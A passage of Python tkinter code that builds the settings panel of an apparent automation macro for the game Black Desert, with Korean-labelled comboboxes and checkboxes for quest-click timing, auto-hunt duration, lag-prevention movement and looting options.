ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("무반응시 메인 퀘스트 클릭 주기") ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest_afk'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest_afk'].trace( 'w', lambda *args: self.callback_period_mainquest_afk_stringvar(args, lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest_afk') ) if not lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest_afk' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest_afk'] = 120 combobox_list = [] for i in range(5, 240, 5): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest_afk'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest_afk']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("자동 사냥 랙 방지 움직임 주기") ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'jadong_lag'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'jadong_lag'].trace( 'w', lambda *args: self.callback_period_jadong_lag_stringvar(args, lybconstant.LYB_DO_STRING_BD_PERIOD + 'jadong_lag') ) if not lybconstant.LYB_DO_STRING_BD_PERIOD + 'jadong_lag' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'jadong_lag'] = 0 combobox_list = [] for i in range(0, 1201, 5): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'jadong_lag'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'jadong_lag']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("토벌/미궁 랙 방지 움직임 주기") ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'migung_lag'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'migung_lag'].trace( 'w', lambda *args: self.callback_period_migung_lag_stringvar(args, lybconstant.LYB_DO_STRING_BD_PERIOD + 'migung_lag') ) if not lybconstant.LYB_DO_STRING_BD_PERIOD + 'migung_lag' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'migung_lag'] = 30 combobox_list = [] for i in range(0, 1201, 5): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'migung_lag'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'migung_lag']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_head, text='대기 시간(초)') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("퀘스트 클릭 후 다음 클릭까지") ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest'].trace( 'w', lambda *args: self.callback_period_mainquest_stringvar(args, lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest') ) if not lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest'] = 120 combobox_list = [] for i in range(5, 30000, 5): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'main_quest']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("퀘스트 클릭 후 수동 스킬 사용") ) label.pack(side=tkinter.LEFT) self.tooltip(label, lybconstant.LYB_WAIT_ATTACK) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_attack'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_attack'].trace( 'w', lambda *args: self.callback_period_wait_attack_stringvar(args, lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_attack') ) if not lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_attack' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_attack'] = 30 combobox_list = [] for i in range(5, 240, 5): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_attack'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_attack']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("퀘스트 클릭 후 자동 태세 전환") ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_jadong'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_jadong'].trace( 'w', lambda *args: self.callback_period_wait_jadong_stringvar(args, lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_jadong') ) if not lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_jadong' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_jadong'] = 10 combobox_list = [] for i in range(5, 300, 5): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_jadong'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'wait_jadong']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("가방 경고 인식 후 클릭 대기") ) label.pack(side=tkinter.LEFT) self.tooltip(label, lybconstant.LYB_TOOLTIP_GABANG_FULL) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'gabang_full'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'gabang_full'].trace( 'w', lambda *args: self.callback_period_gabang_full_stringvar(args, lybconstant.LYB_DO_STRING_BD_PERIOD + 'gabang_full') ) if not lybconstant.LYB_DO_STRING_BD_PERIOD + 'gabang_full' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'gabang_full'] = 30 combobox_list = [] for i in range(0, 86401, 60): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'gabang_full'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'gabang_full']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("절전 모드 경고 인식 후 대기") ) label.pack(side=tkinter.LEFT) self.tooltip(label, lybconstant.LYB_TOOLTIP_GABANG_FULL) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'jeoljeon_mode_warning'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'jeoljeon_mode_warning'].trace( 'w', lambda *args: self.callback_period_jeoljeon_mode_warning_stringvar(args, lybconstant.LYB_DO_STRING_BD_PERIOD + 'jeoljeon_mode_warning') ) if not lybconstant.LYB_DO_STRING_BD_PERIOD + 'jeoljeon_mode_warning' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'jeoljeon_mode_warning'] = 1800 combobox_list = [] for i in range(0, 86401, 60): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'jeoljeon_mode_warning'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'jeoljeon_mode_warning']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("물약 상점 인식 지연 시간") ) label.pack(side=tkinter.LEFT) self.tooltip(label, lybconstant.LYB_TOOTLIP_POTION_SHOP) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'potion_shop'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'potion_shop'].trace( 'w', lambda *args: self.callback_period_potion_shop_stringvar(args, lybconstant.LYB_DO_STRING_BD_PERIOD + 'potion_shop') ) if not lybconstant.LYB_DO_STRING_BD_PERIOD + 'potion_shop' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'potion_shop'] = 300 combobox_list = [] for i in range(5, 600, 5): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'potion_shop'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'potion_shop']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = self.get_option_text("월드 보스 이동 시간") ) label.pack(side=tkinter.LEFT) self.tooltip(label, lybconstant.LYB_TOOTLIP_POTION_SHOP) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'world_boss'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'world_boss'].trace( 'w', lambda *args: self.callback_period_world_boss_stringvar(args, lybconstant.LYB_DO_STRING_BD_PERIOD + 'world_boss') ) if not lybconstant.LYB_DO_STRING_BD_PERIOD + 'world_boss' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'world_boss'] = 90 combobox_list = [] for i in range(10, 301, 5): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'world_boss'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'world_boss']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) # frame = ttk.Frame(frame_label) # label = ttk.Label( # master = frame, # text = self.get_option_text("반복 퀘스트 완료 대기(랜덤)") # ) # label.pack(side=tkinter.LEFT) # self.tooltip(label, lybconstant.LYB_TOOTLIP_POTION_SHOP) # self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'reqeat_quest_random'] = tkinter.StringVar(frame) # self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'reqeat_quest_random'].trace( # 'w', lambda *args: self.callback_period_reqeat_quest_random_stringvar(args, lybconstant.LYB_DO_STRING_BD_PERIOD + 'reqeat_quest_random') # ) # if not lybconstant.LYB_DO_STRING_BD_PERIOD + 'reqeat_quest_random' in self.configure.common_config[self.game_name]: # self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'reqeat_quest_random'] = 10 # combobox_list = [] # for i in range(0, 1000): # combobox_list.append(str(i)) # combobox = ttk.Combobox( # master = frame, # values = combobox_list, # textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_PERIOD + 'reqeat_quest_random'], # state = "readonly", # height = 10, # width = 5, # font = lybconstant.LYB_FONT # ) # combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PERIOD + 'reqeat_quest_random']) # combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) # frame.pack(anchor=tkinter.W) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_head.pack(anchor=tkinter.W) frame_head = ttk.Frame(self.inner_frame_dic['hunt_tab_frame']) frame_label = ttk.LabelFrame(frame_head, text='설정') frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'quest_repeat_boolean'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'quest_repeat_boolean'].trace( 'w', lambda *args: self.callback_quest_repeat_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'quest_repeat_boolean') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'quest_repeat_boolean' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'quest_repeat_boolean'] = True check_box = ttk.Checkbutton( master = frame, text = '반복 의뢰를 수락합니다', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'quest_repeat_boolean'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = ' ' ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'fix_target'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'fix_target'].trace( 'w', lambda *args: self.callback_fix_target_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'fix_target') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'fix_target' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'fix_target'] = True check_box = ttk.Checkbutton( master = frame, text = '타겟 고정을 해제합니다', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'fix_target'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = ' ' ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_boolean'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_boolean'].trace( 'w', lambda *args: self.callback_migung_invite_boolean_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_boolean') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_boolean' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_boolean'] = True check_box = ttk.Checkbutton( master = frame, text = '미궁 초대 자동 수락', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_boolean'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank_op'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank_op'].trace( 'w', lambda *args: self.callback_migung_invite_rank_op_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank_op') ) combobox_list = LYBBlackDesert.migung_rank_op_list if not lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank_op' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank_op'] = combobox_list[1] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank_op'], # justify = tkinter.CENTER, state = "readonly", height = 10, width = 2, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank_op']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank'].trace( 'w', lambda *args: self.callback_migung_invite_rank_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank') ) combobox_list = [] for i in range(1, 9): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank'] = 4 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank'], # justify = tkinter.CENTER, state = "readonly", height = 10, width = 2, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = '단계, ≤' ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank2'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank2'].trace( 'w', lambda *args: self.callback_migung_invite_rank2_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank2') ) combobox_list = [] for i in range(1, 9): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank2' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank2'] = 6 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank2'], # justify = tkinter.CENTER, state = "readonly", height = 10, width = 2, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'migung_invite_rank2']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = '단계' ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'period'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'period'].trace( 'w', lambda *args: self.callback_hunt_period_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'period') ) combobox_list = [] for i in range(60, 100000, 60): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'period' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'period'] = 3600 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'period'], state = "readonly", height = 10, width = 7, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'period']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "초 동안 자동 사냥 진행 " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'pet_period'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'pet_period'].trace( 'w', lambda *args: self.callback_hunt_pet_period_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'pet_period') ) combobox_list = [] for i in range(0, 3601, 60): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'pet_period' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'pet_period'] = 3600 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'pet_period'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'pet_period']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "초마다 반려 동물 체크" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_sequence'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_sequence'].trace( 'w', lambda *args: self.callback_complete_sequence_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_sequence') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_sequence' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_sequence'] = False check_box = ttk.Checkbutton( master = frame, text = '퀘스트 완료 무작위 대기 후 클릭(', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_sequence'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "최대" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_period'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_period'].trace( 'w', lambda *args: self.callback_complete_period_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_period') ) combobox_list = [] for i in range(1, 61): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_period' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_period'] = 2 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_period'], state = "readonly", height = 10, width = 2, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'complete_period']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "초)" ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_box'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_box'].trace( 'w', lambda *args: self.callback_loot_box_boolean_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_box') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_box' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_box'] = True check_box = ttk.Checkbutton( master = frame, text = '전투의 흔적(탐색 시간 0.5초)', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_box'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "▶ 인식 범위:" ) label.pack(side=tkinter.LEFT) self.tooltip(label, lybconstant.LYB_TOOLTIP_COMBAT_BOX_RANGE) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'box_range'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'box_range'].trace( 'w', lambda *args: self.callback_box_range_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'box_range') ) combobox_list = LYBBlackDesert.box_range_list if not lybconstant.LYB_DO_STRING_BD_HUNT + 'box_range' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'box_range'] = combobox_list[1] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'box_range'], state = "readonly", height = 10, width = 7, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'box_range']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = " " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_chegwang'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_chegwang'].trace( 'w', lambda *args: self.callback_loot_chegwang_boolean_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_chegwang') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_chegwang' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_chegwang'] = False check_box = ttk.Checkbutton( master = frame, text = '채광', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_chegwang'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_chejip'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_chejip'].trace( 'w', lambda *args: self.callback_loot_chejip_boolean_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_chejip') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_chejip' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_chejip'] = False check_box = ttk.Checkbutton( master = frame, text = '채집', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_chejip'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_beolmok'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_beolmok'].trace( 'w', lambda *args: self.callback_loot_beolmok_boolean_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_beolmok') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_beolmok' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_beolmok'] = False check_box = ttk.Checkbutton( master = frame, text = '벌목', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'loot_beolmok'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) # frame.pack(anchor=tkinter.W, side=tkinter.LEFT) # frame = ttk.Frame(frame_label) # frame.pack(anchor=tkinter.W, padx=5, side=tkinter.LEFT) # frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'jeoljeon_mode'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'jeoljeon_mode'].trace( 'w', lambda *args: self.callback_jeoljeon_mode_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'jeoljeon_mode') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'jeoljeon_mode' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'jeoljeon_mode'] = False check_box = ttk.Checkbutton( master = frame, text = '절전 모드', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'jeoljeon_mode'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) s = ttk.Style() s.configure('red_label.TLabel', foreground='red') label = ttk.Label( master = frame, text = "무게 경고가 ", style = 'red_label.TLabel' ) 